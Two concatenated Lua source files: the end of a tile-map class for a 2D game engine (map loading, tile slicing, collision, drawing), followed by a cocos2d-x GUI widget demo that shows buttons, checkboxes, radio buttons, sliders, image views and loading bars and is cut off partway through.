-- colSeparator - character to use as separator of columns, default ','
-- rowSeparator - character to use as separator of rows, default newline
--
-- Returns:
-- self, for chaining
loadMap = function (self, file, colSeparator, rowSeparator)
colSeparator = colSeparator or ','
rowSeparator = rowSeparator or '\n'
-- load data
local x, y
local source = Cached:text(file)
local rows = split(source, rowSeparator)
for y = 1, #rows do
local cols = split(rows[y], colSeparator)
for x = 1, #cols do
if not self.map[x] then self.map[x] = {} end
self.map[x][y] = tonumber(cols[x])
end
end
-- set bounds
self.width = #self.map[1] * self.spriteWidth
self.height = #self.map * self.spriteHeight
return self
end,
-- Method: loadTiles
--- Loads the sprites group with slices of a source image.
-- By default, this uses the Tile class for sprites, but you
-- may pass as replacement class.
--
-- Arguments:
-- image - source image to use for tiles
-- class - class to create objects with; constructor
-- will be called with properties: image, width,
-- height, imageOffset (with x and y sub-properties)
-- startIndex - starting index of tiles in self.sprites, default 0
--
-- Returns:
-- self, for chaining
loadTiles = function (self, image, class, startIndex)
assert(self.spriteWidth and self.spriteHeight, 'sprite size must be set before loading tiles')
if type(startIndex) ~= 'number' then startIndex = 0 end
class = class or Tile
self.sprites = self.sprites or {}
local imageObj = Cached:image(image)
local imageWidth = imageObj:getWidth()
local imageHeight = imageObj:getHeight()
local i = startIndex
for y = 0, imageHeight - self.spriteHeight, self.spriteHeight do
for x = 0, imageWidth - self.spriteWidth, self.spriteWidth do
self.sprites[i] = class:new{ image = image, width = self.spriteWidth,
height = self.spriteHeight,
imageOffset = { x = x, y = y }}
i = i + 1
end
end
return self
end,
-- Method: subcollide
-- This acts as a wrapper to multiple collide() calls, as if
-- there really were all the sprites in their particular positions.
-- This is much more useful than Map:collide(), which simply checks
-- if a sprite or group is touching the map at all.
--
-- Arguments:
-- other - other <Sprite> or <Group>
--
-- Returns:
-- boolean, whether any collision was detected
subcollide = function (self, other)
local hit = false
local others
if other.sprites then
others = other.sprites
else
others = { other }
end
for _, othSpr in pairs(others) do
if othSpr.solid then
if othSpr.sprites then
-- recurse into subgroups
-- order is important here to avoid short-circuiting inappopriately
hit = self:subcollide(othSpr.sprites) or hit
else
local startX, startY = self:pixelToMap(othSpr.x - self.x, othSpr.y - self.y)
local endX, endY = self:pixelToMap(othSpr.x + othSpr.width - self.x,
othSpr.y + othSpr.height - self.y)
local x, y
for x = startX, endX do
for y = startY, endY do
local spr = self.sprites[self.map[x][y]]
if spr and spr.solid then
-- position our map sprite as if it were onscreen
spr.x = self.x + (x - 1) * self.spriteWidth
spr.y = self.y + (y - 1) * self.spriteHeight
hit = spr:collide(othSpr) or hit
end
end
end
end
end
end
return hit
end,
-- Method: subdisplace
-- This acts as a wrapper to multiple displace() calls, as if
-- there really were all the sprites in their particular positions.
-- This is much more useful than Map:displace(), which pushes a sprite or group
-- so that it does not touch the map in its entirety.
--
-- Arguments:
-- other - other <Sprite> or <Group> to displace
-- xHint - force horizontal displacement in one direction, uses direction constants
-- yHint - force vertical displacement in one direction, uses direction constants
subdisplace = function (self, other, xHint, yHint)
local others
if other.sprites then
others = other.sprites
else
others = { other }
end
for _, othSpr in pairs(others) do
if othSpr.solid then
if othSpr.sprites then
-- recurse into subgroups
-- order is important here to avoid short-circuiting inappopriately
self:subdisplace(othSpr.sprites)
else
local startX, startY = self:pixelToMap(othSpr.x - self.x, othSpr.y - self.y)
local endX, endY = self:pixelToMap(othSpr.x + othSpr.width - self.x,
othSpr.y + othSpr.height - self.y)
local x, y
for x = startX, endX do
for y = startY, endY do
local spr = self.sprites[self.map[x][y]]
if spr and spr.solid then
-- position our map sprite as if it were onscreen
spr.x = self.x + (x - 1) * self.spriteWidth
spr.y = self.y + (y - 1) * self.spriteHeight
spr:displace(othSpr)
end
end
end
end
end
end
end,
-- Method: getMapSize
-- Returns the size of the map in sprites.
--
-- Arguments:
-- none
--
-- Returns:
-- width and height in integers
getMapSize = function (self)
if #self.map == 0 then
return 0, 0
else
return #self.map, #self.map[1]
end
end,
draw = function (self, x, y)
-- lock our x/y coordinates to integers
-- to avoid gaps in the tiles
x = math.floor(x or self.x)
y = math.floor(y or self.y)
if not self.visible or self.alpha <= 0 then return end
if not self.spriteWidth or not self.spriteHeight then return end
-- determine drawing bounds
-- we draw to fill the entire app windoow
local startX, startY = self:pixelToMap(-x, -y)
local endX, endY = self:pixelToMap(the.app.width - x, the.app.height - y)
-- queue each sprite drawing operation
local toDraw = {}
for drawY = startY, endY do
for drawX = startX, endX do
local sprite = self.sprites[self.map[drawX][drawY]]
if sprite and sprite.visible then
if not toDraw[sprite] then
toDraw[sprite] = {}
end
table.insert(toDraw[sprite], { x + (drawX - 1) * self.spriteWidth,
y + (drawY - 1) * self.spriteHeight })
end
end
end
-- draw each sprite in turn
for sprite, list in pairs(toDraw) do
for _, coords in pairs(list) do
sprite:draw(coords[1], coords[2])
end
end
Sprite.draw(self)
end,
-- Method: pixelToMap
-- Converts pixels to map coordinates.
--
-- Arguments:
-- x - x coordinate in pixels
-- y - y coordinate in pixels
-- clamp - clamp to map bounds? defaults to true
--
-- Returns:
-- x, y map coordinates
pixelToMap = function (self, x, y, clamp)
if type(clamp) == 'nil' then clamp = true end
-- remember, Lua tables start at index 1
local mapX = math.floor(x / self.spriteWidth) + 1
local mapY = math.floor(y / self.spriteHeight) + 1
-- clamp to map bounds
if clamp then
if mapX < 1 then mapX = 1 end
if mapY < 1 then mapY = 1 end
if mapX > #self.map then mapX = #self.map end
if mapY > #self.map[1] then mapY = #self.map[1] end
end
return mapX, mapY
end,
-- makes sure all sprites receive startFrame messages
startFrame = function (self, elapsed)
for _, spr in pairs(self.sprites) do
spr:startFrame(elapsed)
end
Sprite.startFrame(self, elapsed)
end,
-- makes sure all sprites receive update messages
update = function (self, elapsed)
for _, spr in pairs(self.sprites) do
spr:update(elapsed)
end
Sprite.update(self, elapsed)
end,
-- makes sure all sprites receive endFrame messages
endFrame = function (self, elapsed)
for _, spr in pairs(self.sprites) do
spr:endFrame(elapsed)
end
Sprite.endFrame(self, elapsed)
end,
__tostring = function (self)
local result = 'Map (x: ' .. self.x .. ', y: ' .. self.y ..
', w: ' .. self.width .. ', h: ' .. self.height .. ', '
if self.active then
result = result .. 'active, '
else
result = result .. 'inactive, '
end
if self.visible then
result = result .. 'visible, '
else
result = result .. 'invisible, '
end
if self.solid then
result = result .. 'solid'
else
result = result .. 'not solid'
end
return result .. ')'
end
}
|
local guiSceneManager = {}
guiSceneManager.currentUISceneIdx = 1
local font_TextName = "fonts/Marker Felt.ttf"
local UIScene = class("UIScene")
UIScene.__index = UIScene
UIScene._uiLayer= nil
UIScene._widget = nil
UIScene._sceneTitle = nil
function UIScene.extend(target)
local t = tolua.getpeer(target)
if not t then
t = {}
tolua.setpeer(target, t)
end
setmetatable(t, UIScene)
return target
end
function UIScene:init()
self._uiLayer = cc.Layer:create()
self:addChild(self._uiLayer)
self._widget = ccs.GUIReader:getInstance():widgetFromJsonFile("cocosui/UITest/UITest.json")
self._uiLayer:addChild(self._widget)
local root = self._uiLayer:getChildByTag(81)
self._sceneTitle = root:getChildByName("UItest")
local function previousCallback(sender, eventType)
if eventType == ccui.TouchEventType.ended then
cc.Director:getInstance():replaceScene(guiSceneManager.previousUIScene())
end
end
local left_button = root:getChildByName("left_Button")
left_button:addTouchEventListener(previousCallback)
local function restartCallback(sender, eventType)
if eventType == ccui.TouchEventType.ended then
cc.Director:getInstance():replaceScene(guiSceneManager.currentUIScene())
end
end
local middle_button = root:getChildByName("middle_Button")
middle_button:addTouchEventListener(restartCallback)
local function nextCallback(sender, eventType)
if eventType == ccui.TouchEventType.ended then
cc.Director:getInstance():replaceScene(guiSceneManager.nextUIScene())
end
end
local right_button = root:getChildByName("right_Button")
right_button:addTouchEventListener(nextCallback)
local function menuCloseCallback( sender,eventType)
if eventType == ccui.TouchEventType.ended then
local scene = CocoStudioTestMain()
if scene ~= nil then
cc.Director:getInstance():replaceScene(scene)
end
end
end
local backMenuLabel = ccui.Text:create()
backMenuLabel:setString("Back")
backMenuLabel:setFontSize(20)
backMenuLabel:setTouchScaleChangeEnabled(true)
backMenuLabel:setPosition(cc.p(430,30))
backMenuLabel:setTouchEnabled(true)
backMenuLabel:addTouchEventListener(menuCloseCallback)
self._uiLayer:addChild(backMenuLabel)
end
function UIScene.create()
local scene = cc.Scene:create()
local layer = UIScene.extend(cc.Layer:create())
layer:init()
scene:addChild(layer)
return scene
end
local cocoStudioGuiArray = {}
local dsl_env = {
create = function(classname, superclass)
local newclass = class(classname, superclass)
newclass._displayValueLabel = nil
function newclass.extend(target)
local t = tolua.getpeer(target)
if not t then
t = {}
tolua.setpeer(target, t)
end
setmetatable(t, newclass)
return target
end
function newclass:initLabel()
self:init()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel = ccui.Text:create()
self._displayValueLabel:setString(classname)
self._displayValueLabel:setFontName(font_TextName)
self._displayValueLabel:setFontSize(32)
self._displayValueLabel:setAnchorPoint(cc.p(0.5, -1))
self._displayValueLabel:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 + self._displayValueLabel:getContentSize().height * 1.8))
self._uiLayer:addChild(self._displayValueLabel)
end
function newclass.create()
local scene = cc.Scene:create()
local layer = newclass.extend(cc.Layer:create())
layer:initLabel()
layer:initExtend()
scene:addChild(layer)
return scene
end
table.insert(cocoStudioGuiArray,
{
title = classname,
func = function()
return newclass.create()
end
}
)
return newclass
end,
}
local function add_new_testcase(fn)
setfenv(fn, setmetatable(dsl_env,
{
__index = function(self, funName)
return _G[funName]
end
}))
return fn()
end
add_new_testcase(function()
local UIButtonTest = create("UIButtonTest", UIScene)
function UIButtonTest:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("No Event")
local alert = ccui.Text:create()
alert:setString("Button")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local function touchEvent(sender,eventType)
if eventType == ccui.TouchEventType.began then
self._displayValueLabel:setString("Touch Down")
elseif eventType == ccui.TouchEventType.moved then
self._displayValueLabel:setString("Touch Move")
elseif eventType == ccui.TouchEventType.ended then
self._displayValueLabel:setString("Touch Up")
elseif eventType == ccui.TouchEventType.canceled then
self._displayValueLabel:setString("Touch Cancelled")
end
end
local button = ccui.Button:create()
button:setTouchEnabled(true)
button:loadTextures("cocosui/animationbuttonnormal.png", "cocosui/animationbuttonpressed.png", "")
button:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0))
button:addTouchEventListener(touchEvent)
self._uiLayer:addChild(button)
end
end)
add_new_testcase(function()
local UIButtonScale9Test = create("UIButtonScale9Test", UIScene)
function UIButtonScale9Test:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("No Event")
local alert = ccui.Text:create()
alert:setString("Button scale9 render")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local function touchEvent(sender,eventType)
if eventType == ccui.TouchEventType.began then
self._displayValueLabel:setString("Touch Down")
elseif eventType == ccui.TouchEventType.moved then
self._displayValueLabel:setString("Touch Move")
elseif eventType == ccui.TouchEventType.ended then
self._displayValueLabel:setString("Touch Up")
elseif eventType == ccui.TouchEventType.canceled then
self._displayValueLabel:setString("Touch Cancelled")
end
end
local button = ccui.Button:create()
button:setTouchEnabled(true)
button:setScale9Enabled(true)
button:loadTextures("cocosui/button.png", "cocosui/buttonHighlighted.png", "")
button:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0))
button:setContentSize(cc.size(150, button:getVirtualRendererSize().height * 1.5))
button:addTouchEventListener(touchEvent)
self._uiLayer:addChild(button)
end
end)
add_new_testcase(function()
local UIButtonPressedActionTest = create("UIButtonPressedActionTest",UIScene)
function UIButtonPressedActionTest:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("No Event")
local alert = ccui.Text:create()
alert:setString("Button Pressed Action")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local function touchEvent(sender,eventType)
if eventType == ccui.TouchEventType.began then
self._displayValueLabel:setString("Touch Down")
elseif eventType == ccui.TouchEventType.moved then
self._displayValueLabel:setString("Touch Move")
elseif eventType == ccui.TouchEventType.ended then
self._displayValueLabel:setString("Touch Up")
elseif eventType == ccui.TouchEventType.canceled then
self._displayValueLabel:setString("Touch Cancelled")
end
end
local button = ccui.Button:create()
button:setTouchEnabled(true)
button:setPressedActionEnabled(true)
button:loadTextures("cocosui/animationbuttonnormal.png", "cocosui/animationbuttonpressed.png", "")
button:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0))
button:addTouchEventListener(touchEvent)
self._uiLayer:addChild(button)
end
end)
add_new_testcase(function()
local UITextButtonTest = create("UITextButtonTest",UIScene)
function UITextButtonTest:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("No Event")
local alert = ccui.Text:create()
alert:setString("TextButton")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local function touchEvent(sender,eventType)
if eventType == ccui.TouchEventType.began then
self._displayValueLabel:setString("Touch Down")
elseif eventType == ccui.TouchEventType.moved then
self._displayValueLabel:setString("Touch Move")
elseif eventType == ccui.TouchEventType.ended then
self._displayValueLabel:setString("Touch Up")
elseif eventType == ccui.TouchEventType.canceled then
self._displayValueLabel:setString("Touch Cancelled")
end
end
local textButton = ccui.Button:create()
textButton:setTouchEnabled(true)
textButton:loadTextures("cocosui/backtotopnormal.png", "cocosui/backtotoppressed.png", "")
textButton:setTitleText("Text Button")
textButton:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0))
textButton:addTouchEventListener(touchEvent)
self._uiLayer:addChild(textButton)
end
end)
add_new_testcase(function()
local UITextButtonScale9Test = create("UITextButtonScale9Test",UIScene)
function UITextButtonScale9Test:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("No Event")
local alert = ccui.Text:create()
alert:setString("TextButton scale9 render")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local function touchEvent(sender,eventType)
if eventType == ccui.TouchEventType.began then
self._displayValueLabel:setString("Touch Down")
elseif eventType == ccui.TouchEventType.moved then
self._displayValueLabel:setString("Touch Move")
elseif eventType == ccui.TouchEventType.ended then
self._displayValueLabel:setString("Touch Up")
elseif eventType == ccui.TouchEventType.canceled then
self._displayValueLabel:setString("Touch Cancelled")
end
end
local textButton = ccui.Button:create()
textButton:setTouchEnabled(true)
textButton:setScale9Enabled(true)
textButton:loadTextures("cocosui/button.png", "cocosui/buttonHighlighted.png", "")
textButton:setContentSize(cc.size(180, textButton:getVirtualRendererSize().height * 1.5))
textButton:setTitleText("Text Button scale9 render")
textButton:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0))
textButton:addTouchEventListener(touchEvent)
self._uiLayer:addChild(textButton)
end
end)
add_new_testcase(function()
local UICheckBoxTest = create("UICheckBoxTest",UIScene)
function UICheckBoxTest:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("No Event")
local alert = ccui.Text:create()
alert:setString("CheckBox")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local function selectedEvent(sender,eventType)
if eventType == ccui.CheckBoxEventType.selected then
self._displayValueLabel:setString("Selected")
elseif eventType == ccui.CheckBoxEventType.unselected then
self._displayValueLabel:setString("Unselected")
end
end
local checkBox = ccui.CheckBox:create()
checkBox:setTouchEnabled(true)
checkBox:setSelectedState(true)
checkBox:loadTextures("cocosui/check_box_normal.png",
"cocosui/check_box_normal_press.png",
"cocosui/check_box_active.png",
"cocosui/check_box_normal_disable.png",
"cocosui/check_box_active_disable.png")
checkBox:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0))
checkBox:addEventListener(selectedEvent)
self._uiLayer:addChild(checkBox)
end
end)
add_new_testcase(function()
local UIRadioBoxTest = create("UIRadioBoxTest",UIScene)
function UIRadioBoxTest:initExtend()
local widgetSize = self._widget:getContentSize()
local alert = ccui.Text:create()
alert:setString("No selection is disallowed.")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 + 70))
self._uiLayer:addChild(alert)
local radioButtonGroup = ccui.RadioButtonGroup:create()
radioButtonGroup:addEventListener(function(radioButton, index, type)
print("RadioButton" .. index .. "Clicked")
end)
self._uiLayer:addChild(radioButtonGroup)
local NUMBER_OF_BUTTONS = 5
local BUTTON_WIDTH = 30
local startPosX = widgetSize.width / 2.0 - ((NUMBER_OF_BUTTONS - 1) / 1.0) * BUTTON_WIDTH
for i = 0 , NUMBER_OF_BUTTONS-1 do
local radioButton = ccui.RadioButton:create("cocosui/radio_button_off.png", "cocosui/radio_button_on.png")
local posX = startPosX + BUTTON_WIDTH * i
radioButton:setPosition(cc.p(posX, widgetSize.height / 2.0 + 10))
radioButton:setName("button"..i)
radioButtonGroup:addRadioButton(radioButton)
radioButton:addEventListener(function(radioButton, type)
if type == ccui.RadioButtonEventType.selected then
print("name: = " .. radioButton:getName() .. " selected")
elseif type == ccui.RadioButtonEventType.unselected then
print("name: = " .. radioButton:getName() .. " unselected")
end
end)
self._uiLayer:addChild(radioButton)
end
local function buttonClickCallback(sender)
local name = (tolua.cast(sender, "ccui.Button")):getTitleText()
if name == "Add" then
local pos = cc.p(0,0)
if radioButtonGroup:getNumberOfRadioButtons() > 0 then
local lastRadioButton = radioButtonGroup:getRadioButtonByIndex(radioButtonGroup:getNumberOfRadioButtons() - 1)
pos.x, pos.y = lastRadioButton:getPosition()
else
pos.x = startPosX - BUTTON_WIDTH
pos.y = self._widget:getContentSize().height / 2. + 10
end
local tempButton = ccui.RadioButton:create("cocosui/radio_button_off.png", "cocosui/radio_button_on.png")
pos.x = pos.x + BUTTON_WIDTH
tempButton:setPosition(pos)
radioButtonGroup:addRadioButton(tempButton)
self._uiLayer:addChild(tempButton)
elseif name == "Delete" then
if radioButtonGroup:getNumberOfRadioButtons() > 0 then
local radioButton = radioButtonGroup:getRadioButtonByIndex(radioButtonGroup:getNumberOfRadioButtons()-1)
radioButtonGroup:removeRadioButton(radioButton)
self._uiLayer:removeChild(radioButton)
end
elseif name == "Toggle" then
radioButtonGroup:setAllowedNoSelection(not radioButtonGroup:isAllowedNoSelection())
alert:setString(radioButtonGroup:isAllowedNoSelection() and "No selection is allowed" or "No selection is disallowed")
end
end
local hbox = ccui.HBox:create()
hbox:setPosition(cc.p(10, widgetSize.height/2-65))
self._uiLayer:addChild(hbox)
local addButton = ccui.Button:create("cocosui/backtotopnormal.png", "cocosui/backtotoppressed.png")
addButton:setTitleText("Add")
addButton:setScale(0.7)
addButton:addClickEventListener(buttonClickCallback)
hbox:addChild(addButton)
local deleteButton = addButton:clone()
deleteButton:setTitleText("Delete")
hbox:addChild(deleteButton)
local toggleButton = addButton:clone()
toggleButton:setTitleText("Toggle")
hbox:addChild(toggleButton)
end
end)
add_new_testcase(function()
local UISliderTest = create("UISliderTest",UIScene)
function UISliderTest:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("Move the slider thumb")
local alert = ccui.Text:create()
alert:setString("Slider")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local function percentChangedEvent(sender,eventType)
print(eventType)
if eventType == ccui.SliderEventType.percentChanged then
local slider = sender
local percent = "Percent " .. (slider:getPercent() / slider:getMaxPercent() * 100)
self._displayValueLabel:setString(percent)
elseif eventType == ccui.SliderEventType.slideBallUp then
self._displayValueLabel:setString("Slide Ball Up")
elseif eventType == ccui.SliderEventType.slideBallDown then
self._displayValueLabel:setString("Slide Ball Down")
elseif eventType == ccui.SliderEventType.slideBallCancel then
self._displayValueLabel:setString("Slide Ball Cancel")
end
end
local slider = ccui.Slider:create()
slider:setTouchEnabled(true)
slider:loadBarTexture("cocosui/sliderTrack.png")
slider:loadSlidBallTextures("cocosui/sliderThumb.png", "cocosui/sliderThumb.png", "")
slider:loadProgressBarTexture("cocosui/sliderProgress.png")
slider:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0))
slider:setMaxPercent(10000)
slider:addEventListener(percentChangedEvent)
self._uiLayer:addChild(slider)
end
end)
add_new_testcase(function()
local UISliderScale9Test = create("UISliderScale9Test",UIScene)
function UISliderScale9Test:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("Move the slider thumb")
local alert = ccui.Text:create()
alert:setString("Slider scale9 render")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local function percentChangedEvent(sender,eventType)
if eventType == ccui.SliderEventType.percentChanged then
local slider = sender
local percent = "Percent " .. slider:getPercent()
self._displayValueLabel:setString(percent)
end
end
local slider = ccui.Slider:create()
slider:setTouchEnabled(true)
slider:loadBarTexture("cocosui/sliderTrack2.png")
slider:loadSlidBallTextures("cocosui/sliderThumb.png", "cocosui/sliderThumb.png", "")
slider:loadProgressBarTexture("cocosui/slider_bar_active_9patch.png")
slider:setScale9Enabled(true)
slider:setCapInsets(cc.rect(0, 0, 0, 0))
slider:setContentSize(cc.size(250, 10))
slider:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0))
slider:addEventListener(percentChangedEvent)
self._uiLayer:addChild(slider)
end
end)
add_new_testcase(function()
local UIImageViewTest = create("UIImageViewTest",UIScene)
function UIImageViewTest:initExtend()
local widgetSize = self._widget:getContentSize()
local alert = ccui.Text:create()
alert:setString("ImageView")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local imageView = ccui.ImageView:create()
imageView:loadTexture("cocosui/ccicon.png")
imageView:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 + imageView:getContentSize().height / 4.0))
self._uiLayer:addChild(imageView)
end
end)
add_new_testcase(function ()
local UIImageViewScale9Test = create("UIImageViewScale9Test",UIScene)
function UIImageViewScale9Test:initExtend()
local widgetSize = self._widget:getContentSize()
local alert = ccui.Text:create()
alert:setString("ImageView scale9 render")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local imageView = ccui.ImageView:create()
imageView:setScale9Enabled(true)
imageView:loadTexture("cocosui/buttonHighlighted.png")
imageView:setContentSize(cc.size(200, 85))
imageView:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 + imageView:getContentSize().height / 4.0))
self._uiLayer:addChild(imageView)
end
end)
add_new_testcase(function ()
local UILoadingBarLeftTest = create("UILoadingBarLeftTest",UIScene)
function UILoadingBarLeftTest:initExtend()
self._count = 0
local widgetSize = self._widget:getContentSize()
local alert = ccui.Text:create()
alert:setString("LoadingBar")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local loadingBar = ccui.LoadingBar:create()
loadingBar:setTag(0)
loadingBar:setName("LoadingBar")
loadingBar:loadTexture("cocosui/sliderProgress.png")
loadingBar:setPercent(0)
loadingBar:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 + loadingBar:getContentSize().height / 4.0))
self._uiLayer:addChild(loadingBar)
local function update()
self._count = self._count + 1
if self._count > 100 then
self._count = 0
end
if self._uiLayer ~= nil then
loadingBar:setPercent(self._count)
end
end
self:scheduleUpdateWithPriorityLua(update, 0)
local function onNodeEvent(tag)
if tag == "exit" then
self:unscheduleUpdate()
end
end
self:registerScriptHandler(onNodeEvent)
end
end)
add_new_testcase(function ()
local UILoadingBarRightTest = create("UILoadingBarRightTest",UIScene)
function UILoadingBarRightTest:initExtend()
self._count = 0;
local widgetSize = self._widget:getContentSize()
local alert = ccui.Text:create()
alert:setString("LoadingBar")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local loadingBar = ccui.LoadingBar:create()
loadingBar:setTag(0)
loadingBar:setName("LoadingBar")
loadingBar:loadTexture("cocosui/sliderProgress.png")
loadingBar:setDirection(ccui.LoadingBarDirection.RIGHT)
loadingBar:setPercent(0)
loadingBar:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 + loadingBar:getContentSize().height / 4.0))
self._uiLayer:addChild(loadingBar)
local function update()
self._count = self._count + 1
if self._count > 100 then
self._count = 0
end
if self._uiLayer ~= nil then
loadingBar:setPercent(self._count)
end
end
self:scheduleUpdateWithPriorityLua(update, 0)
local function onNodeEvent(tag)
if tag == "exit" then
self:unscheduleUpdate()
end
end
self:registerScriptHandler(onNodeEvent)
end
end)
add_new_testcase(function ()
local UILoadingBarLeftScale9Test = create("UILoadingBarLeftScale9Test",UIScene)
function UILoadingBarLeftScale9Test:initExtend()
self._count = 0
local widgetSize = self._widget:getContentSize()
local alert = ccui.Text:create()
alert:setString("LoadingBar Scale9 Render")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local loadingBar = ccui.LoadingBar:create()
loadingBar:setTag(0)
loadingBar:setName("LoadingBar")
loadingBar:loadTexture("cocosui/slider_bar_active_9patch.png")
loadingBar:setScale9Enabled(true)
loadingBar:setCapInsets(cc.rect(0, 0, 0, 0))
loadingBar:setContentSize(cc.size(300, 30))
loadingBar:setPercent(0)
loadingBar:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 + loadingBar:getContentSize().height / 4.0))
self._uiLayer:addChild(loadingBar)
local function update()
self._count = self._count + 1
if self._count > 100 then
self._count = 0
end
if self._uiLayer ~= nil then
loadingBar:setPercent(self._count)
end
end
self:scheduleUpdateWithPriorityLua(update, 0)
local function onNodeEvent(tag)
if tag == "exit" then
self:unscheduleUpdate()
end
end
self:registerScriptHandler(onNodeEvent)
end
end)
add_new_testcase(function ()
local UILoadingBarRightScale9Test = create("UILoadingBarRightScale9Test",UIScene)
function UILoadingBarRightScale9Test:initExtend()
self._count = 0
local widgetSize = self._widget:getContentSize()
local alert = ccui.Text:create()
alert:setString("LoadingBar Scale9 Render")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local loadingBar = ccui.LoadingBar:create()
loadingBar:setTag(0)
loadingBar:setName("LoadingBar")
loadingBar:loadTexture("cocosui/slider_bar_active_9patch.png")
loadingBar:setScale9Enabled(true)
loadingBar:setCapInsets(cc.rect(0, 0, 0, 0))
loadingBar:setContentSize(cc.size(300, 30))
loadingBar:setDirection(ccui.LoadingBarDirection.RIGHT)
loadingBar:setPercent(0)
loadingBar:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 + loadingBar:getContentSize().height / 4.0))
self._uiLayer:addChild(loadingBar)
local function update()
self._count = self._count + 1
if self._count > 100 then
self._count = 0
end
if self._uiLayer ~= nil then
loadingBar:setPercent(self._count)
end
end
self:scheduleUpdateWithPriorityLua(update, 0)
local function onNodeEvent(tag)
if tag == "exit" then
self:unscheduleUpdate()
end
end
self:registerScriptHandler(onNodeEvent)
end
end)
add_new_testcase(function ()
local UILabelAtlasTest = create("UILabelAtlasTest",UIScene)
function UILabelAtlasTest:initExtend()
local widgetSize = self._widget:getContentSize()
local alert = ccui.Text:create()
alert:setString("LabelAtlas")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local labelAtlas = ccui.TextAtlas:create()
